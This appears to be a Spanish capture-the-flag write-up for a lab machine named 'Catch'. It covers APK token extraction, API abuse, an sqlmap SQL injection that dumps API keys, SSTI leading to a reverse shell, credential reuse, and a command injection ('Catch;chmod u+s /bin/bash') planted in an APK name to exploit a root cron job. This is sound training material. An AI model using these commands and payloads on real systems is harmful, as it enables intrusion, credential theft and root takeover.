Conocimientos
-
Análisis de APK
-
Information Disclosure
-
Enumeración y abuso de API
-
Inyección SQL
-
SSTI
-
Abuso de tarea CRON (Escalada de Privilegios)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.150 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-09 11:04 GMT
Nmap scan report for 10.10.11.150
Host is up (0.048s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
5000/tcp open upnp
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 12.27 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80,3000,5000,8000 10.10.11.150 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-09 11:05 GMT
Nmap scan report for 10.10.11.150
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Catch Global Systems
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: i_like_gitea=6e2dea9cba2ad2d8; Path=/; HttpOnly
| Set-Cookie: _csrf=dSdDtJuoIuTLy7vF3RxD7jxfR8s6MTY3NTk0MDcxMjk1MjIxNzczOA; Path=/; Expires=Fri, 10 Feb 2023 11:05:12 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 09 Feb 2023 11:05:13 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Catch Repositories </title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Set-Cookie: i_like_gitea=372f1a0a5ed9bb43; Path=/; HttpOnly
| Set-Cookie: _csrf=yso45wY8yO7ANrhZdMvAYqcijXk6MTY3NTk0MDcxODcyODk4OTgxNw; Path=/; Expires=Fri, 10 Feb 2023 11:05:18 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 09 Feb 2023 11:05:18 GMT
|_ Content-Length: 0
5000/tcp open upnp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 302 Found
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Location: /login
| Vary: Accept, Accept-Encoding
| Content-Type: text/plain; charset=utf-8
| Content-Length: 28
| Set-Cookie: connect.sid=s%3A7npQE_l3e22Pf6ahuL_K4AgICYtXimzC.sSaFMVq%2BNuqwlGhkOVxlqe2e%2FKwfKRBMysP%2FJDuYE1w; Path=/; HttpOnly
| Date: Thu, 09 Feb 2023 11:05:17 GMT
| Connection: close
| Found. Redirecting to /login
| HTTPOptions:
| HTTP/1.1 200 OK
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Allow: GET,HEAD
| Content-Type: text/html; charset=utf-8
| Content-Length: 8
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
| Set-Cookie: connect.sid=s%3AkEpOmIdUqNGknAL63f8goAvonBmXBnbJ.jDltUGSm5ab5SLCfWIL0pjuSyBQoPGEoF1sRQeTLL7U; Path=/; HttpOnly
| Vary: Accept-Encoding
| Date: Thu, 09 Feb 2023 11:05:19 GMT
| Connection: close
|_ GET,HEAD
8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.93%I=7%D=2/9%Time=63E4D369%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(GetRequest,29D7,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x
SF:20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20i_like_gitea=6e2dea9cba
SF:2ad2d8;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=dSdDtJuoIuTLy7vF
SF:3RxD7jxfR8s6MTY3NTk0MDcxMjk1MjIxNzczOA;\x20Path=/;\x20Expires=Fri,\x201
SF:0\x20Feb\x202023\x2011:05:12\x20GMT;\x20HttpOnly;\x20SameSite=Lax\r\nSe
SF:t-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age=0;\x20HttpOnly\r\nX-
SF:Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Thu,\x2009\x20Feb\x202023\x201
SF:1:05:13\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20cl
SF:ass=\"theme-\">\n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8
SF:\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20i
SF:nitial-scale=1\">\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content
SF:=\"ie=edge\">\n\t<title>\x20Catch\x20Repositories\x20</title>\n\t<link\
SF:x20rel=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoi
SF:Q2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyI
SF:sInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3
SF:sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz")%r(Help,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,17F,
SF:"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nSet-Cookie:\x20i_like_
SF:gitea=372f1a0a5ed9bb43;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=
SF:yso45wY8yO7ANrhZdMvAYqcijXk6MTY3NTk0MDcxODcyODk4OTgxNw;\x20Path=/;\x20E
SF:xpires=Fri,\x2010\x20Feb\x202023\x2011:05:18\x20GMT;\x20HttpOnly;\x20Sa
SF:meSite=Lax\r\nSet-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age=0;\x
SF:20HttpOnly\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Thu,\x2009\x20
SF:Feb\x202023\x2011:05:18\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSP
SF:Request,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5000-TCP:V=7.93%I=7%D=2/9%Time=63E4D36E%P=x86_64-pc-linux-gnu%r(Get
SF:Request,240,"HTTP/1\.1\x20302\x20Found\r\nX-Frame-Options:\x20SAMEORIGI
SF:N\r\nX-Download-Options:\x20noopen\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-XSS-Protection:\x201;\x20mode=block\r\nContent-Security-Policy:\
SF:x20\r\nX-Content-Security-Policy:\x20\r\nX-WebKit-CSP:\x20\r\nX-UA-Comp
SF:atible:\x20IE=Edge,chrome=1\r\nLocation:\x20/login\r\nVary:\x20Accept,\
SF:x20Accept-Encoding\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Content-Length:\x2028\r\nSet-Cookie:\x20connect\.sid=s%3A7npQE_l3e22Pf6
SF:ahuL_K4AgICYtXimzC\.sSaFMVq%2BNuqwlGhkOVxlqe2e%2FKwfKRBMysP%2FJDuYE1w;\
SF:x20Path=/;\x20HttpOnly\r\nDate:\x20Thu,\x2009\x20Feb\x202023\x2011:05:1
SF:7\x20GMT\r\nConnection:\x20close\r\n\r\nFound\.\x20Redirecting\x20to\x2
SF:0/login")%r(RTSPRequest,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConne
SF:ction:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(SMBProgNeg,2F,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Zen
SF:dJavaBridge,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n")%r(HTTPOptions,241,"HTTP/1\.1\x20200\x20OK\r\nX-Frame-Opti
SF:ons:\x20SAMEORIGIN\r\nX-Download-Options:\x20noopen\r\nX-Content-Type-O
SF:ptions:\x20nosniff\r\nX-XSS-Protection:\x201;\x20mode=block\r\nContent-
SF:Security-Policy:\x20\r\nX-Content-Security-Policy:\x20\r\nX-WebKit-CSP:
SF:\x20\r\nX-UA-Compatible:\x20IE=Edge,chrome=1\r\nAllow:\x20GET,HEAD\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x208\r\n
SF:ETag:\x20W/\"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg\"\r\nSet-Cookie:\x20connect\
SF:.sid=s%3AkEpOmIdUqNGknAL63f8goAvonBmXBnbJ\.jDltUGSm5ab5SLCfWIL0pjuSyBQo
SF:PGEoF1sRQeTLL7U;\x20Path=/;\x20HttpOnly\r\nVary:\x20Accept-Encoding\r\n
SF:Date:\x20Thu,\x2009\x20Feb\x202023\x2011:05:19\x20GMT\r\nConnection:\x2
SF:0close\r\n\r\nGET,HEAD")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nConnection:\x20close\r\n\r\n")%r(DNSStatusRequestTCP,2F,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Help,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.84 seconds
Puerto 80,3000,5000,8000 (HTTP)
Con whatweb analizo las tecnologías que está empleando el servidor web
for i in 80 3000 5000 8000; do echo -e "\n[+] Puerto $i"; whatweb 10.10.11.150:$i; echo; done
[+] Puerto 80
http://10.10.11.150:80 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.150], Script, Title[Catch Global Systems]
[+] Puerto 3000
http://10.10.11.150:3000 [200 OK] Cookies[_csrf,i_like_gitea,macaron_flash], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea,macaron_flash], IP[10.10.11.150], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[Catch Repositories], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[ie=edge]
[+] Puerto 5000
http://10.10.11.150:5000 [302 Found] Content-Security-Policy, Cookies[connect.sid], Country[RESERVED][ZZ], HttpOnly[connect.sid], IP[10.10.11.150], RedirectLocation[/login], UncommonHeaders[x-download-options,x-content-type-options,content-security-policy,x-content-security-policy,x-webkit-csp], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=Edge,chrome=1], X-XSS-Protection[1; mode=block]
http://10.10.11.150:5000/login [200 OK] Content-Security-Policy, Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HttpOnly[connect.sid], IP[10.10.11.150], PasswordField[password], Script, Title[Login · Let's Chat], UncommonHeaders[x-download-options,x-content-type-options,content-security-policy,x-content-security-policy,x-webkit-csp], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=Edge,chrome=1], X-XSS-Protection[1; mode=block]
[+] Puerto 8000
http://10.10.11.150:8000 [200 OK] Apache[2.4.29], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.150], Laravel, Open-Graph-Protocol[website], Script[text/javascript], Title[Catch Global Systems], X-UA-Compatible[IE=edge]
Las páginas principales se ven así:
Desde el puerto 80 puedo descargar un APK
La descomprimo para ver su estructura
apktool d catchv1.0.apk
I: Using Apktool 2.7.0 on catchv1.0.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
Encuentro dos token
cat res/values/strings.xml | grep token
<string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
<string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
<string name="slack_token">xoxp-23984754863-2348975623103</string>
Para poder debuggearlo, creo un archivo JAR a partir de la APK
d2j-dex2jar catchv1.0.apk
dex2jar catchv1.0.apk -> ./catchv1.0-dex2jar.jar
Utilizo JDGUI
jd-gui catchv1.0-dex2jar.jar &>/dev/null & disown
Encuentro un subdominio en el código
Lo añado al /etc/hosts
La web del puerto 5000 está en un proyecto de Github
En la Wiki hay una sección con la sintaxis básica de la API
Me da un error de autenticación
curl -s -X GET "http://10.10.11.150:5000/rooms"; echo
Unauthorized
Pero tengo los token que extraje del APK
curl -s -X GET "http://10.10.11.150:5000/rooms" -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | jq
[
{
"id": "61b86b28d984e2451036eb17",
"slug": "status",
"name": "Status",
"description": "Cachet Updates and Maintenance",
"lastActive": "2021-12-14T10:34:20.749Z",
"created": "2021-12-14T10:00:08.384Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
},
{
"id": "61b8708efe190b466d476bfb",
"slug": "android_dev",
"name": "Android Development",
"description": "Android App Updates, Issues & More",
"lastActive": "2021-12-14T10:24:21.145Z",
"created": "2021-12-14T10:23:10.474Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
},
{
"id": "61b86b3fd984e2451036eb18",
"slug": "employees",
"name": "Employees",
"description": "New Joinees, Org updates",
"lastActive": "2021-12-14T10:18:04.710Z",
"created": "2021-12-14T10:00:31.043Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
}
]
Teniendo los identificadores, puedo intentar listar los mensajes para cada sala
curl -s -X GET "http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/messages" -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | jq '.[].text' | tr -d '"' | tac
Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me.
Can you create an account for me ?
Sure one sec.
Here are the credentials `john : E}V!mywu_69T4C}W`
@john is it possible to add SSL to our status domain to make sure everything is secure ?
Why not. We've this in our todo list for next quarter
Excellent!
Also make sure we've our systems, applications and databases up-to-date.
You should actually include this task to your list as well as a part of quarterly audit
ah sure!
Obtengo credenciales, puede que sean para el Cachet o el Gitea
Puedo acceder y tengo acceso a la siguiente interfaz:
Una sección es vulnerable a SSTI
Pero no consigo ninguna forma de ejecutar comandos.
Desde el código fuente se puede ver como se sanitiza el output
En este artículo explican una forma de abusar de otro SSTI pero a través de una inyección SQL
Sigo todos sus pasos
sqlmap -u "http://10.10.11.150:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" -D cachet -T users -C api_key,username --dump --batch
___
__H__
___ ___[(]_____ ___ ___ {1.7#stable}
|_ -| . [,] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:18:02 /2023-02-09/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[13:18:02] [INFO] resuming back-end DBMS 'mysql'
[13:18:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://10.10.11.150:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or 'a'=? and 1=1) AND (SELECT 9331 FROM (SELECT(SLEEP(5)))ifkr) --
---
Database: cachet
Table: users
[2 entries]
+----------------------+----------+
| api_key | username |
+----------------------+----------+
| 7GVCqTY5abrox48Nct8j | john |
| rMSN8kJN9TPADl2cWv8N | admin |
+----------------------+----------+
[13:25:33] [INFO] table 'cachet.users' dumped to CSV file '/root/.local/share/sqlmap/output/10.10.11.150/dump/cachet/users.csv'
[13:25:33] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.11.150'
[*] ending @ 13:25:33 /2023-02-09/
Creo la plantilla e introduzco el payload en el mensaje
Cargo los datos en JSON
curl -s -X POST "http://10.10.11.150:8000/api/v1/incidents" -H "X-Cachet-Token: rMSN8kJN9TPADl2cWv8N" -d 'visible=0&status=1&name=demo&template=rce' | jq
Gano acceso en una sesión de netcat
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.150] 41366
bash: cannot set terminal process group (27): Inappropriate ioctl for device
bash: no job control in this shell
www-data@81182d9e4b17:/var/www/html/Cachet/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@81182d9e4b17:/var/www/html/Cachet/public$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
www-data@81182d9e4b17:/var/www/html/Cachet/public$ export TERM=xterm
www-data@81182d9e4b17:/var/www/html/Cachet/public$ export SHELL=bash
www-data@81182d9e4b17:/var/www/html/Cachet/public$ stty rows 55 columns 209
Estoy dentro de un contenedor
www-data@81182d9e4b17:/var/www/html/Cachet/public$ hostname -I
172.17.0.7
Dentro de la ruta donde se aloja el servicio web, hay un archivo con variables de entorno, entre las que se encuentran credenciales de acceso a la base de datos
www-data@81182d9e4b17:/var/www/html/Cachet$ cat .env
...
DB_DRIVER=mysql
DB_HOST=localhost
DB_UNIX_SOCKET=null
DB_DATABASE=cachet
DB_USERNAME=will
DB_PASSWORD=s2#4Fg0_%3!
...
Se reutilizan para el acceso por SSH
ssh will@10.10.11.150
The authenticity of host '10.10.11.150 (10.10.11.150)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
will@catch:~$
Puedo visualizar la primera flag
will@catch:~$ cat user.txt
b27331b600800df68713fc35fcb65e13
Escalada
Hay otro usuario llamado git
will@catch:/opt$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
git:x:115:121:Git Version Control,,,:/home/git:/bin/bash
will:x:1000:1000:,,,:/home/will:/bin/bash
Subo y ejecuto el pspy para ver tareas programadas
2023/02/09 15:46:01 CMD: UID=0 PID=116434 | /usr/sbin/CRON -f
2023/02/09 15:46:01 CMD: UID=0 PID=116436 |
2023/02/09 15:46:01 CMD: UID=0 PID=116437 | /bin/bash /opt/mdm/verify.sh
2023/02/09 15:46:01 CMD: UID=0 PID=116440 | /bin/bash /opt/mdm/verify.sh
2023/02/09 15:46:01 CMD: UID=0 PID=116438 | /bin/bash /opt/mdm/verify.sh
2023/02/09 15:46:01 CMD: UID=0 PID=116441 |
2023/02/09 15:46:01 CMD: UID=0 PID=116442 | /bin/bash /opt/mdm/verify.sh
2023/02/09 15:46:01 CMD: UID=0 PID=116443 | jarsigner -verify /root/mdm/apk_bin/1cd7b7d30aa7dd0ce13f7c2f.apk
2023/02/09 15:46:02 CMD: UID=0 PID=116466 | /bin/bash /opt/mdm/verify.sh
2023/02/09 15:46:02 CMD: UID=0 PID=116465 | grep -v apk_bin
2023/02/09 15:46:02 CMD: UID=0 PID=116464 | ls -A /opt/mdm
2023/02/09 15:46:02 CMD: UID=0 PID=116463 | /bin/bash /opt/mdm/verify.sh
Tengo acceso a los archivos del directorio /opt
will@catch:/opt/mdm$ ls -la
total 16
drwxr-x--x+ 3 root root 4096 Mar 3 2022 .
drwxr-xr-x 4 root root 4096 Dec 16 2021 ..
drwxrwx--x+ 2 root root 4096 Dec 16 2021 apk_bin
-rwxr-x--x+ 1 root root 1894 Mar 3 2022 verify.sh
El archivo verify.sh está compuesto por varias funciones
###################
# Signature Check #
###################
sig_check() {
jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
if [[ $? -eq 0 ]]; then
echo '[+] Signature Check Passed'
else
echo '[!] Signature Check Failed. Invalid Certificate.'
cleanup
exit
fi
}
Esta se encarga de validar que el APK que se le está pasando como argumento tiene una firma válida. En caso contrario el programa termina
#######################
# Compatibility Check #
#######################
comp_check() {
apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
if [ -z "$COMPILE_SDK_VER" ]; then
echo '[!] Failed to find target SDK version.'
cleanup
exit
else
if [ $COMPILE_SDK_VER -lt 18 ]; then
echo "[!] APK Doesn't meet the requirements"
cleanup
exit
fi
fi
}
Aplica una descompresión al APK y con el uso de expresiones regulares comprueba la versión del SDK que se está empleando. En caso de que sea menor que la 18 el programa concluye
####################
# Basic App Checks #
####################
app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}
En caso de que no se encuentre la cadena ‘Catch’ con data delante y detrás el programa no avanza. Crea un directorio con ese nombre
###########
# Cleanup #
###########
cleanup() {
rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}
Elimina todo lo que hay en el directorio almacenado en la variable DROPBOX y también en el directorio /opt/mdm, excepto apk_bin y verify.sh
###################
# MDM CheckerV1.0 #
###################
DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin
for IN_APK_NAME in $DROPBOX/*.apk;do
OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
APK_NAME="$(openssl rand -hex 12).apk"
if [[ -L "$IN_APK_NAME" ]]; then
exit
else
mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
fi
sig_check $IN_FOLDER $APK_NAME
comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup
Define todas las variables e itera en un bucle por los APKs dentro de $DROPBOX para generar un nombre aleatorio (generado con openssl) añadiendole ‘_verified.apk’, moviéndolos a otro directorio y llama a las funciones que expliqué antes con sus correspondientes argumentos
Para la APK que ya tengo, si pasa la validación
jarsigner -verify catchv1.0.apk &>/dev/null
echo $?
0
La expresión regular sobre el AndroidManifest.xml devuelve 32
grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" AndroidManifest.xml
32
Puedo modificar el campo app_name el el archivo strings.xml, ya que se le está pasando a la función app_check con wildcards. Al estarse creando un directorio utilizando como argumento este nombre, es posible inyectar un comando y que lo ejecute
grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" strings.xml
Catch;chmod u+s /bin/bash
Creo de nuevo la APK con apktool
apktool b
I: Using Apktool 2.7.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk into: ./dist/catchv1.0.apk
La transfiero a la máquina víctima al directorio /opt/mdm/apk_bin. Una vez se acontece la tarea CRON, la bash pasa a ser SUID, puedo obtener una sesión como root y visualizar la segunda flag
will@catch:/opt/mdm/apk_bin$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
will@catch:/opt/mdm/apk_bin$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
fe620c756be3352151296c7e9af5ee43